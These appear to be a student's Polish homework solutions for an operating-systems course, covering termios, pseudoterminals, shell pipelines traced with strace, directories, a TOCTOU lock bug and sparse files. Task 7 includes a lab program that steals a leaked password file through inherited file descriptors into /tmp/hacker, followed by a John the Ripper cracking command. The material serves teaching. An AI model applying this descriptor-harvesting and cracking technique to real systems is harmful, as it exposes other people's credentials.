# Lista 4
###### tags: `SO2022`

:::spoiler

:::
## Deklaracja
:::spoiler
| Zadanie | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 |
|-----------|---|---|---|---|---|---|---|---|
|Deklaracja |:heavy_check_mark:|:heavy_check_mark:|:heavy_check_mark:|:heavy_check_mark:|:heavy_check_mark:|:heavy_check_mark:|:heavy_check_mark:|:heavy_check_mark:|
:::
## Zadanie 1

```c=
// terminal.h
#ifndef _TERMINAL_H_
#define _TERMINAL_H_
int tty_open(void);
void tty_curpos(int fd, int *x, int *y);
/* https://en.wikipedia.org/wiki/ANSI_escape_code#CSI_(Control_Sequence_Introducer)_sequences */
#define ESC "\033"
#define CSI ESC "["
#define CUU(n) CSI #n "A" /* Cursor Up */
#define CUD(n) CSI #n "B" /* Cursor Down */
#define CUF(n) CSI #n "C" /* Cursor Forward */
#define CUB(n) CSI #n "D" /* Cursor Back */
#define CNL(n) CSI #n "E" /* Cursor Next Line */
#define CPL(n) CSI #n "F" /* Cursor Previous Line */
#define CHA(n) CSI #n "G" /* Cursor Horizontal Absolute */
#define CUP(n, m) CSI #n ";" #m "H" /* Cursor Position */
#define ED(n) CSI #n "J" /* Erase in Display */
#define EL(n) CSI #n "K" /* Erase in Line */
#define SU(n) CSI #n "S" /* Scroll Up Scroll */
#define SD(n) CSI #n "T" /* Scroll Down Scroll */
#define CPR() CSI "6n" /* Cursor Position Report */
#define SGR(x) CSI x "m"
#endif /* !_ANSICODES_H_ */
```
* ### Zreferuj działanie procedury `tty_curpos` odczytującej pozycję kursora terminala.
```c=
// terminal.c
#include <termios.h>
#include <sys/ioctl.h>
#include "csapp.h"
#include "terminal.h"
int tty_open(void) {
const char *dev = ttyname(STDIN_FILENO);
if (!dev) {
errno = ENOTTY;
unix_error("tty_open error");
}
return Open(dev, O_RDWR | O_NOCTTY, 0);
}
void tty_curpos(int fd, int *x, int *y) {
struct termios ts, ots;
tcgetattr(fd, &ts); // pobieramy bierzący stan sterownika terminala
memcpy(&ots, &ts, sizeof(struct termios)); // robimy backup
ts.c_lflag &= ~(ECHO | ICANON); // wyłączomy ECHO i tryb kanoniczny
ts.c_cflag &= ~CREAD; // wyłączmy odbieranie znaków
tcsetattr(fd, TCSADRAIN, &ts); // ustawiamy atrybuty
/* How many characters in the input queue. */
int m = 0;
/* TODO: Need to figure out some other way to do it on MacOS / FreeBSD. */
#ifdef LINUX
ioctl(fd, TIOCINQ, &m); // Gpobieramy liczbę bajtów w input buffer.
#endif
/* Read them all. */ //ten komentarz mówi wszystko
char discarded[m];
m = Read(fd, discarded, m);
Write(fd, CPR(), sizeof(CPR())); // wywołujemy kod CSI 6n
char buf[20];
int n = Read(fd, buf, 19); //odczytujemy pozycję kursora
buf[n] = '\0';
ts.c_lflag |= ICANON; //przywracamy tryb kanoniczny
tcsetattr(fd, TCSADRAIN, &ts); //przywracamy tryb kanoniczny
for (int i = 0; i < m; i++)
ioctl(fd, TIOCSTI, discarded + i); //przywracamy bufor
tcsetattr(fd, TCSADRAIN, &ots); //przywracamy ustawienia terminala
sscanf(buf, "\033[%d;%dR", x, y); //zczytujemy pozycję kursora
}
```
* ### Do czego służy kod sterujący `CPR`?
jest to kod `CSI 6n`
zwraca pozycję kursora w formacie `\033[n;mR` (n - wiersz, m - kolumna)
* ### Wytłumacz semantykę rozkazów wykorzystywanych odpowiednio przez `tcgetattr(3)` i `tcsetattr(3)`:
* `tcgetattr(3)`: pobiera aktualne ustawienia terminala
* 'ioctl(fd, TCGETS, struct termios *argp)'
* `tcsetattr(3)`: ustawia nowe ustawienia terminala
* 'ioctl(fd, TCSETSW, struct termios *argp)'
* `TIOCINQ`: zwraca informację ile jest bajtów w input buffer
* `TIOCSTI`: kopiuje dany bajt do input buffer
* ### Wyjaśnij jak na działanie sterownika terminala wpływają flagi:
* `ECHO`: włącza echo
* `ICANON`: tryb kanoniczny
* `CREAD`: odbieranie znaków
## Zadanie 2

* ### Wyjaśnij działanie programu `script(1)`.


* #### Nagraj interaktywną sesję z powłoką `dash` przy pomocy polecenia `script -T timing -c dash`.
```
terminal1:
script -T timing -c dash
echo test > test.txt
exit
```
* #### Wykonaj kilka poleceń i zakończ powłokę przy pomocy polecenia `exit 42`, po czym odtwórz sesję przy pomocy polecenia `scriptreplay -t timing`.
```
terminal1:
scriptreplay timing
```
* #### Następnie uruchom polecenie powyższe polecenie przy pomocy `strace -f -e read,write -o script.log` i na podstawie zawartości pliku `script.log`pokaż jak `script` używa pseudoterminala do komunikacji z programami działającymi pod kontrolą powłoki `dash`
```
terminal1:
strace -f -e read,write -o script.log script -T timing -c dash
echo test
exit
```
* #### Pokaż, że sterownik terminala przepisuje znaki zgodnie z flagami `ICRNL` i `ONLCR` opisanymi w `termios(4)`.
* `ICRNL`: przerabia `\r` na `\n`
* `ONLCR`: przerabia `\n` na` \r\n`
## Zadanie 3

* #### Uruchom potok (ang. pipeline) `ps -ef | grep sh | wc -l > cnt` w powłoce utworzonej przy pomocy polecenia `strace -o pipeline.log -f dash`.
```
terminal1:
strace -o pipeline.log -f dash
ps -ef | grep sh | wc -l > cnt
exit
```
:::spoiler **pipeline.log**
```=
89226 read(0, "ps -ef | grep sh | wc -l > cnt\n", 8192) = 31
89226 newfstatat(AT_FDCWD, "/home/bartosz/.local/bin/ps", 0x7ffd91d9e510, 0) = -1 ENOENT (Nie ma takiego pliku ani katalogu)
89226 newfstatat(AT_FDCWD, "/home/bartosz/bin/ps", 0x7ffd91d9e510, 0) = -1 ENOENT (Nie ma takiego pliku ani katalogu)
89226 newfstatat(AT_FDCWD, "/home/bartosz/.cargo/bin/ps", 0x7ffd91d9e510, 0) = -1 ENOENT (Nie ma takiego pliku ani katalogu)
89226 newfstatat(AT_FDCWD, "/usr/local/bin/ps", 0x7ffd91d9e510, 0) = -1 ENOENT (Nie ma takiego pliku ani katalogu)
89226 newfstatat(AT_FDCWD, "/usr/local/sbin/ps", 0x7ffd91d9e510, 0) = -1 ENOENT (Nie ma takiego pliku ani katalogu)
89226 newfstatat(AT_FDCWD, "/usr/bin/ps", {st_mode=S_IFREG|0755, st_size=141080, ...}, 0) = 0
89226 pipe2([3, 4], 0) = 0
89226 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f275197aa10) = 89228
89226 setpgid(89228, 89228) = 0
89226 close(4 <unfinished ...>
89228 set_robust_list(0x7f275197aa20, 24 <unfinished ...>
89226 <... close resumed>) = 0
89226 newfstatat(AT_FDCWD, "/home/bartosz/.local/bin/grep", <unfinished ...>
89228 <... set_robust_list resumed>) = 0
89226 <... newfstatat resumed>0x7ffd91d9e510, 0) = -1 ENOENT (Nie ma takiego pliku ani katalogu)
89226 newfstatat(AT_FDCWD, "/home/bartosz/bin/grep", 0x7ffd91d9e510, 0) = -1 ENOENT (Nie ma takiego pliku ani katalogu)
89228 getpid( <unfinished ...>
89226 newfstatat(AT_FDCWD, "/home/bartosz/.cargo/bin/grep", <unfinished ...>
89228 <... getpid resumed>) = 89228
89226 <... newfstatat resumed>0x7ffd91d9e510, 0) = -1 ENOENT (Nie ma takiego pliku ani katalogu)
89228 setpgid(0, 89228 <unfinished ...>
89226 newfstatat(AT_FDCWD, "/usr/local/bin/grep", <unfinished ...>
89228 <... setpgid resumed>) = 0
89226 <... newfstatat resumed>0x7ffd91d9e510, 0) = -1 ENOENT (Nie ma takiego pliku ani katalogu)
89228 ioctl(10, TIOCSPGRP, [89228] <unfinished ...>
89226 newfstatat(AT_FDCWD, "/usr/local/sbin/grep", <unfinished ...>
89228 <... ioctl resumed>) = 0
89226 <... newfstatat resumed>0x7ffd91d9e510, 0) = -1 ENOENT (Nie ma takiego pliku ani katalogu)
89228 rt_sigaction(SIGTSTP, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7f27519b9b50}, <unfinished ...>
89226 newfstatat(AT_FDCWD, "/usr/bin/grep", <unfinished ...>
89228 <... rt_sigaction resumed>NULL, 8) = 0
89226 <... newfstatat resumed>{st_mode=S_IFREG|0755, st_size=162488, ...}, 0) = 0
89228 rt_sigaction(SIGTTOU, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7f27519b9b50}, <unfinished ...>
89226 pipe2( <unfinished ...>
89228 <... rt_sigaction resumed>NULL, 8) = 0
89226 <... pipe2 resumed>[4, 5], 0) = 0
89228 rt_sigaction(SIGINT, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7f27519b9b50}, <unfinished ...>
89226 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD <unfinished ...>
89228 <... rt_sigaction resumed>NULL, 8) = 0
89228 rt_sigaction(SIGQUIT, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7f27519b9b50}, NULL, 8) = 0
89228 rt_sigaction(SIGTERM, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7f27519b9b50}, NULL, 8) = 0
89226 <... clone resumed>, child_tidptr=0x7f275197aa10) = 89229
89228 close(3 <unfinished ...>
89226 setpgid(89229, 89228 <unfinished ...>
89229 set_robust_list(0x7f275197aa20, 24 <unfinished ...>
89228 <... close resumed>) = 0
89226 <... setpgid resumed>) = 0
89228 dup2(4, 1) = 1
89229 <... set_robust_list resumed>) = 0
89226 close(3 <unfinished ...>
89228 close(4 <unfinished ...>
89226 <... close resumed>) = 0
89228 <... close resumed>) = 0
89226 close(5) = 0
89229 setpgid(0, 89228 <unfinished ...>
89228 execve("/usr/bin/ps", ["ps", "-ef"], 0x5565dcf6d088 /* 54 vars */ <unfinished ...>
89226 newfstatat(AT_FDCWD, "/home/bartosz/.local/bin/wc", <unfinished ...>
89229 <... setpgid resumed>) = 0
89226 <... newfstatat resumed>0x7ffd91d9e510, 0) = -1 ENOENT (Nie ma takiego pliku ani katalogu)
89229 ioctl(10, TIOCSPGRP, [89228] <unfinished ...>
89226 newfstatat(AT_FDCWD, "/home/bartosz/bin/wc", <unfinished ...>
89229 <... ioctl resumed>) = 0
89226 <... newfstatat resumed>0x7ffd91d9e510, 0) = -1 ENOENT (Nie ma takiego pliku ani katalogu)
89226 newfstatat(AT_FDCWD, "/home/bartosz/.cargo/bin/wc", <unfinished ...>
89229 rt_sigaction(SIGTSTP, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7f27519b9b50}, <unfinished ...>
89226 <... newfstatat resumed>0x7ffd91d9e510, 0) = -1 ENOENT (Nie ma takiego pliku ani katalogu)
89229 <... rt_sigaction resumed>NULL, 8) = 0
89226 newfstatat(AT_FDCWD, "/usr/local/bin/wc", <unfinished ...>
89229 rt_sigaction(SIGTTOU, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7f27519b9b50}, <unfinished ...>
89226 <... newfstatat resumed>0x7ffd91d9e510, 0) = -1 ENOENT (Nie ma takiego pliku ani katalogu)
89229 <... rt_sigaction resumed>NULL, 8) = 0
89226 newfstatat(AT_FDCWD, "/usr/local/sbin/wc", <unfinished ...>
89229 rt_sigaction(SIGINT, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7f27519b9b50}, <unfinished ...>
89226 <... newfstatat resumed>0x7ffd91d9e510, 0) = -1 ENOENT (Nie ma takiego pliku ani katalogu)
89229 <... rt_sigaction resumed>NULL, 8) = 0
89226 newfstatat(AT_FDCWD, "/usr/bin/wc", <unfinished ...>
89228 <... execve resumed>) = 0
89226 <... newfstatat resumed>{st_mode=S_IFREG|0755, st_size=45864, ...}, 0) = 0
89229 rt_sigaction(SIGQUIT, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7f27519b9b50}, <unfinished ...>
89226 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD <unfinished ...>
89229 <... rt_sigaction resumed>NULL, 8) = 0
89228 brk(NULL <unfinished ...>
89229 rt_sigaction(SIGTERM, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7f27519b9b50}, <unfinished ...>
89228 <... brk resumed>) = 0x55f7cede6000
89229 <... rt_sigaction resumed>NULL, 8) = 0
89226 <... clone resumed>, child_tidptr=0x7f275197aa10) = 89230
89229 close(4 <unfinished ...>
89226 setpgid(89230, 89228 <unfinished ...>
89230 set_robust_list(0x7f275197aa20, 24 <unfinished ...>
89229 <... close resumed>) = 0
89226 <... setpgid resumed>) = 0
89230 <... set_robust_list resumed>) = 0
89229 dup2(3, 0 <unfinished ...>
89226 close(4 <unfinished ...>
89229 <... dup2 resumed>) = 0
89226 <... close resumed>) = 0
89230 setpgid(0, 89228 <unfinished ...>
89228 arch_prctl(0x3001 /* ARCH_??? */, 0x7ffdf69b8370 <unfinished ...>
89229 close(3 <unfinished ...>
89226 close(-1 <unfinished ...>
89230 <... setpgid resumed>) = 0
89228 <... arch_prctl resumed>) = -1 EINVAL (Zły argument)
89229 <... close resumed>) = 0
89226 <... close resumed>) = -1 EBADF (Błędny deskryptor pliku)
89230 ioctl(10, TIOCSPGRP, [89228] <unfinished ...>
89226 wait4(-1, <unfinished ...>
89229 dup2(5, 1 <unfinished ...>
89228 mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0 <unfinished ...>
89230 <... ioctl resumed>) = 0
89229 <... dup2 resumed>) = 1
89228 <... mmap resumed>) = 0x7f33b4085000
89230 rt_sigaction(SIGTSTP, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7f27519b9b50}, <unfinished ...>
89229 close(5 <unfinished ...>
89230 <... rt_sigaction resumed>NULL, 8) = 0
89228 access("/etc/ld.so.preload", R_OK <unfinished ...>
89230 rt_sigaction(SIGTTOU, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7f27519b9b50}, <unfinished ...>
89229 <... close resumed>) = 0
89230 <... rt_sigaction resumed>NULL, 8) = 0
89228 <... access resumed>) = -1 ENOENT (Nie ma takiego pliku ani katalogu)
89230 rt_sigaction(SIGINT, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7f27519b9b50}, <unfinished ...>
89229 execve("/usr/bin/grep", ["grep", "sh"], 0x5565dcf6d0b8 /* 54 vars */ <unfinished ...>
89228 openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC <unfinished ...>
89230 <... rt_sigaction resumed>NULL, 8) = 0
89230 rt_sigaction(SIGQUIT, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7f27519b9b50}, <unfinished ...>
89228 <... openat resumed>) = 3
89230 <... rt_sigaction resumed>NULL, 8) = 0
89228 newfstatat(3, "", <unfinished ...>
89230 rt_sigaction(SIGTERM, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7f27519b9b50}, <unfinished ...>
89228 <... newfstatat resumed>{st_mode=S_IFREG|0644, st_size=85203, ...}, AT_EMPTY_PATH) = 0
89230 <... rt_sigaction resumed>NULL, 8) = 0
89228 mmap(NULL, 85203, PROT_READ, MAP_PRIVATE, 3, 0 <unfinished ...>
89230 dup2(4, 0 <unfinished ...>
89228 <... mmap resumed>) = 0x7f33b4070000
89230 <... dup2 resumed>) = 0
89228 close(3 <unfinished ...>
89230 close(4 <unfinished ...>
89228 <... close resumed>) = 0
89230 <... close resumed>) = 0
89229 <... execve resumed>) = 0
89228 openat(AT_FDCWD, "/lib64/libprocps.so.8", O_RDONLY|O_CLOEXEC <unfinished ...>
89230 openat(AT_FDCWD, "cnt", O_WRONLY|O_CREAT|O_TRUNC, 0666 <unfinished ...>
89229 brk(NULL) = 0x55c27c78e000
89228 <... openat resumed>) = 3
89230 <... openat resumed>) = 3
89229 arch_prctl(0x3001 /* ARCH_??? */, 0x7ffd9d112280 <unfinished ...>
89228 read(3, <unfinished ...>
89230 fcntl(1, F_DUPFD, 10 <unfinished ...>
89229 <... arch_prctl resumed>) = -1 EINVAL (Zły argument)
89230 <... fcntl resumed>) = 11
89228 <... read resumed>"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\0\0\0\0\0\0\0"..., 832) = 832
89230 close(1 <unfinished ...>
89229 mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0 <unfinished ...>
89228 newfstatat(3, "", <unfinished ...>
89230 <... close resumed>) = 0
89229 <... mmap resumed>) = 0x7f2885e9b000
89230 fcntl(11, F_SETFD, FD_CLOEXEC <unfinished ...>
89228 <... newfstatat resumed>{st_mode=S_IFREG|0755, st_size=86744, ...}, AT_EMPTY_PATH) = 0
89230 <... fcntl resumed>) = 0
89229 access("/etc/ld.so.preload", R_OK <unfinished ...>
89230 dup2(3, 1 <unfinished ...>
89228 mmap(NULL, 229416, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0 <unfinished ...>
89230 <... dup2 resumed>) = 1
89229 <... access resumed>) = -1 ENOENT (Nie ma takiego pliku ani katalogu)
89230 close(3 <unfinished ...>
89228 <... mmap resumed>) = 0x7f33b4037000
89230 <... close resumed>) = 0
89229 openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC <unfinished ...>
89228 mmap(0x7f33b403c000, 40960, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x5000 <unfinished ...>
89230 execve("/usr/bin/wc", ["wc", "-l"], 0x5565dcf6d108 /* 54 vars */ <unfinished ...>
89229 <... openat resumed>) = 3
89228 <... mmap resumed>) = 0x7f33b403c000
89229 newfstatat(3, "", <unfinished ...>
89228 mmap(0x7f33b4046000, 16384, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0xf000 <unfinished ...>
89229 <... newfstatat resumed>{st_mode=S_IFREG|0644, st_size=85203, ...}, AT_EMPTY_PATH) = 0
89228 <... mmap resumed>) = 0x7f33b4046000
89229 mmap(NULL, 85203, PROT_READ, MAP_PRIVATE, 3, 0 <unfinished ...>
89228 mmap(0x7f33b404a000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x12000 <unfinished ...>
89229 <... mmap resumed>) = 0x7f2885e86000
89228 <... mmap resumed>) = 0x7f33b404a000
89229 close(3) = 0
89228 mmap(0x7f33b404d000, 139304, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0 <unfinished ...>
89229 openat(AT_FDCWD, "/lib64/libpcre.so.1", O_RDONLY|O_CLOEXEC <unfinished ...>
89228 <... mmap resumed>) = 0x7f33b404d000
89229 <... openat resumed>) = 3
89230 <... execve resumed>) = 0
```
:::
* #### Na podstawie zawartości pliku `pipeline.log` opisz jak powłoka realizuje funkcje łączenia procesów rurami (ang. pipe) i wykonuje przekierowanie standardowego wyjścia do pliku. Wskaż które procesy i w jakiej kolejności będą wołały następujące wywołania systemowe.
Powłoka w przypadku `dash` działa następująco:
```=
Wywołujemy polecenie
89226 read(0, "ps -ef | grep sh | wc -l > cnt\n", 8192) = 31
Tworzymy pierwszy pipe z najmniejszymi wolnymi deskryptorami
89226 pipe2([3, 4], 0) = 0
Tworzymy pierwszy program w potoku `prog-ps`
89226 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f275197aa10) = 89228
Powłoka ustawia pgid dla `prog-ps`
89226 setpgid(89228, 89228) = 0
Powłoka zamyka niepotrzebny jej deskryptor wejścia do pipe'a
89226 close(4) = 0
`prog-ps` ustala sam swój pgid
89228 getpid() = 89228
89228 setpgid(0, 89228) = 0
Ustalenie grupy pierwszoplanowej
89228 ioctl(10, TIOCSPGRP, [89228]) = 0
Tworzymy drugiego pipe'a
89226 pipe2([4, 5], 0) = 0
Tworzymy drugi program w potoku `prog-grep`
89226 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f275197aa10) = 89229
`prog-ps` zamyka niepotrzebny deskryptor wyjścia z rury
89228 close(3) = 0
Powłoka ustawia pgid dla `prog-grep`
89226 setpgid(89229, 89228) = 0
`prog-ps` mapuje deskryptor pipe'a na standardowe wyjscie
następnie zamyka niepotrzebny deskryptor
89228 dup2(4, 1) = 1
89228 close(4) = 0
Powłoka zamyka niepotrzebne deskryptory
wyjścia z pierwszego pipe'a oraz wejscia do drugiego pipe'a
przekazał je już do `prog-grep`
89226 close(3) = 0
89226 close(5) = 0
`prog-grep` ustala swój pgid
89229 setpgid(0, 89228) = 0
Ustalenie grupy pierwszoplanowej
89229 ioctl(10, TIOCSPGRP, [89228]) = 0
`prog-ps` staje się prawdzwym `ps`
89228 execve("/usr/bin/ps", ["ps", "-ef"], 0x5565dcf6d088 /* 54 vars */) = 0
Tworzymy trzeci program w potoku `prog-wc`
89226 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f275197aa10) = 89230
`prog-grep` zamyka niepotrzebny deskryptor wyjścia drugiego z pipe'a
89229 close(4) = 0
Powłoka ustawia pgid dla `prog-wc`
89226 setpgid(89230, 89228) = 0
`prog-grep` mapuje deskryptor pierwszego pipe'a na standardowe wejscie
następnie zamyka niepotrzebny deskryptor
89228 dup2(3, 0) = 0
89228 close(3) = 0
Powłoka zamyka niepotrzebne deskryptory pipe'a, utworzyła już dzieci więc nie są one potrzebne
89226 close(4) = 0
`prog-wc` ustala swój pgid
89230 setpgid(0, 89228) = 0
Ustalenie grupy pierwszoplanowej
89230 ioctl(10, TIOCSPGRP, [89228]) = 0
`prog-grep` mapuje deskryptor drugiego pipe'a na standardowe wyjscie
następnie zamyka niepotrzebny deskryptor
89228 dup2(5, 1) = 1
89228 close(5) = 0
`prog-grep` staje się prawdziwym `grep`
89229 execve("/usr/bin/grep", ["grep", "sh"], 0x5565dcf6d0b8 /* 54 vars */) = 0
`prog-wc` mapuje deskryptor pipe'a na standardowe wejscie
następnie zamyka niepotrzebny deskryptor
89230 dup2(4, 0) = 0
89230 close(4) = 0
`prog-wc` otwiera plik cnt
89230 openat(AT_FDCWD, "cnt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3
`prog-wc` otweira plik do którego ustwiliśmy przekierowanie
mapuje deskryptor na standarwowe wyjście i zamyka niepotrzebny już deskryptor
89230 close(1) = 0
89230 dup2(3, 1) = 1
89230 close(3) = 0
`prog-wc` staje się prawdziwym `wc`
89230 execve("/usr/bin/wc", ["wc", "-l"], 0x5565dcf6d108 /* 54 vars */) = 0
```
## Zadanie 4

* ### Wskaż kiedy powłoka tworzy nową grupę procesów i jak umieszcza tam procesy realizujące potok.
Na grupę procesów wybierany jest pid pierwszego procesu w pipe'e
* ### Wyjaśnij czemu dla każdego podprocesu wywołanie `setpgid(2)` jest robione zarówno w procesie powłoki jak i w procesie potomnym?
* Zabezpieczamy się przed sytuacją gdy w dziecku zrobimy `execve` a rodzic jeszcze nie ustali grupy
* Zabezpieczamy się przed systuacją gdy rodzic wyśle sygał a dziecko jeszcze nie ustali grupy
* ### Kiedy powłoka ustala grupę pierwszoplanową przy pomocy `ioctl(2)` (realizuje `tcsetpgrp(3)`)?
Dzieje się to na początku życia programu, zaraz po wykonaniu przypisania pgida


* ### Na jakiej podstawie powłoka wyznacza kod wyjścia potoku?
Kod wyjścia brany jest z ostatniego programu pipe'a
## Zadanie 5

* ### Czemu nie można czytać i modyfikować katalogów przy pomocy wywołań `read(2)` i `write(2)`?

Nie checmy dawać programiscie dostępu do wewnętrznej implementacji katalogu, która róźnić się będzie w zależności od użytego systemu plików.
* ### Jakim wywołaniem systemowym można wczytać rekord katalogu (ang. directory entry)?
`getdents(2)`, `getdents64(2)` - wczytaj zawartości katalogu
żeby wczytać dany rekord katalogu, na wyniku `getdents` można użyć
`readdir(3)` - read a directory (`readdir(2)` nie jest na x86-64)
* ### Dlaczego zawartość katalogu nie jest posortowana?

* btrfs
Zawartość katalogu sortowana jest względem czasu utworzenia wpisu w katalogu.
* ext4
Zawartość katalogu jest posortowana względem offsetu
* ### Wyświetl metadane katalogu głównego `/` przy pomocy polecenia `stat`.
`stat /`
* ### Wyjaśnij z czego wynika podana liczba dowiązań (ang. hard link).
* btrfs
w tym przypadku liczba dowiązań to liczba miejsc które wskazują na ten konkretny inode, z uwagi na budowę systemu w katalogu nie ma potrzebny przechowywać inode na samego siebie oraz na rodzica
btrfs jest zbudowany na b-drzewach
* ext4
obserwujemy dużą liczbę dowiązań ponieważ każdy podkatalog przechowóje swoje dowiązanie na rodzica
## Zadanie 6


```c=
#include "csapp.h"
bool f_lock(const char *path) {
if (access(path, F_OK) == 0)
return false;
(void)Open(path, O_CREAT|O_WRONLY, 0700);
return true;
}
void f_unlock(const char *path) {
Unlink(path);
}
```
* `O_CREAT|O_EXCL` jeśli plik istnieje dostaniemy error
* ### Opowiedz jakie zagrożenia niesie ze sobą taki błąd.
For example, sendmail may check for a specific attribute of a mailbox (e.g., it is not a symbolic link) in step one and then append new messages (as root) in step two. Because the two steps are not executed atomically, a local attacker (mailbox owner) can exploit the window of vulnerability between the two steps by deleting his/hermailbox and replacing it with a symbolic link to /etc/passwd. If the replacement is completed within the window and the new messages happen to be syntactically correct /etc/passwd entries with root access, then sendmail may unintentionally give unauthorized root access to a normal user (the attacker)
* ### Poprawny kod:
```c=
#include "csapp.h"
bool f_lock(const char *path) {
(void)Open(path, O_CREAT|O_EXCL|O_WRONLY, 0700);
return true;
}
void f_unlock(const char *path) {
Unlink(path);
}
```
## Zadanie 7

```c=
//leaky.c
#include "csapp.h"
int main(int argc, char **argv) {
long max_fd = sysconf(_SC_OPEN_MAX);
/* Initialize PRNG seed. */
struct timeval tv;
gettimeofday(&tv, NULL);
srandom(tv.tv_usec);
/* This opens a file with password that is checked later. */
int fd_1 = Open("mypasswd", O_RDONLY, 0);
int fd_2 = 3 + random() % (max_fd - 3);
(void)Dup2(fd_1, fd_2);
Close(fd_1);
Lseek(fd_2, 0, SEEK_END);
/* TODO: Something is missing here to fix the issue! */
// F_SETFD - ustawia flagi na te przekzane w następnym argumencie
// FD_CLOEXEC - zamyka deskrtyptor przy execve
fcntl(fd_2, F_SETFD, FD_CLOEXEC);
/* TODO: End */
/* Let's suppose a user typed in correct password and was allowed to execute
* a command and they choose to run our program. */
int rc = system("./innocent");
if (rc < 0)
unix_error("System error");
/* At this point we may finally close the file. */
Close(fd_2);
return rc;
}
```
```c=
//innocent.c
#include "csapp.h"
#include <dirent.h>
#include <unistd.h>
#define BUFF_SIZE 4096
int main(void) {
long max_fd = sysconf(_SC_OPEN_MAX);
int out = Open("/tmp/hacker", O_CREAT | O_APPEND | O_WRONLY, 0666);
/* TODO: Something is missing here! */
char buff[BUFF_SIZE];
char path[BUFF_SIZE];
int read_len;
for (int i = 4; i < max_fd; i++) {
snprintf(path, BUFF_SIZE, "/proc/self/fd/%d", i);
read_len = readlinkat(i, path, buff, BUFF_SIZE);
if(read_len > 0) {
dprintf(out, "File descriptor %d is '%s' file!\n", i, buff);
// Ustawiamy kursor na koniec
lseek(i, 0, 0);
// Czytamy zawartość i zapisujemy do pliku
while ((read_len = read(i, buff, BUFF_SIZE)) > 0)
Write(out, buff, read_len);
}
}
/* TODO: End */
Close(out);
printf("I'm just a normal executable you use on daily basis!\n");
return 0;
}
```
* ### Złam hasło znajdujące się pliku, który wyciekł w wyniku podatności pozostawionej przez programistę.
`john --show /tmp/hacker`
## Zadanie 8

* ### Uruchom program `mkholes`, a następnie odczytaj metadane pliku `holes.bin `przy pomocy polecenia `stat(1)`.
```
File: holes.bin
Size: 33550336 Blocks: 1104 IO Block: 4096 regular file
Device: 8,18 Inode: 21520 Links: 1
Access: (0777/-rwxrwxrwx) Uid: ( 0/ root) Gid: ( 0/ root)
Context: system_u:object_r:fusefs_t:s0
Access: 2022-11-13 21:02:29.089836500 +0100
Modify: 2022-11-13 21:02:28.264647500 +0100
Change: 2022-11-13 21:02:28.264647500 +0100
Birth: -
```
* ### Oblicz faktyczną objętość pliku na podstawie liczby używanych bloków `st_blocks` i rozmiaru pojedynczego bloku `st_blksize` systemu pliku.
`Rozmiar bloku z man * Blocks = 512 * 1104 = 565248`
* ### Czemu liczba używanych bloków jest mniejsza od tej wynikającej z objętości pliku z pola `st_size`?
`st_size` odległość ostatniego bajta od pierwszego
* ### Czemu jest większa od liczby faktycznie używanych bloków zgłaszanych przez `mkholes`?
W programie rozmiar bloku to 4096 bajtów
a w stat to 512 bajtów
The st_blocks field indicates the number of blocks allocated to the file, 512-byte units. (This may be smaller than st_size/512 when the file has holes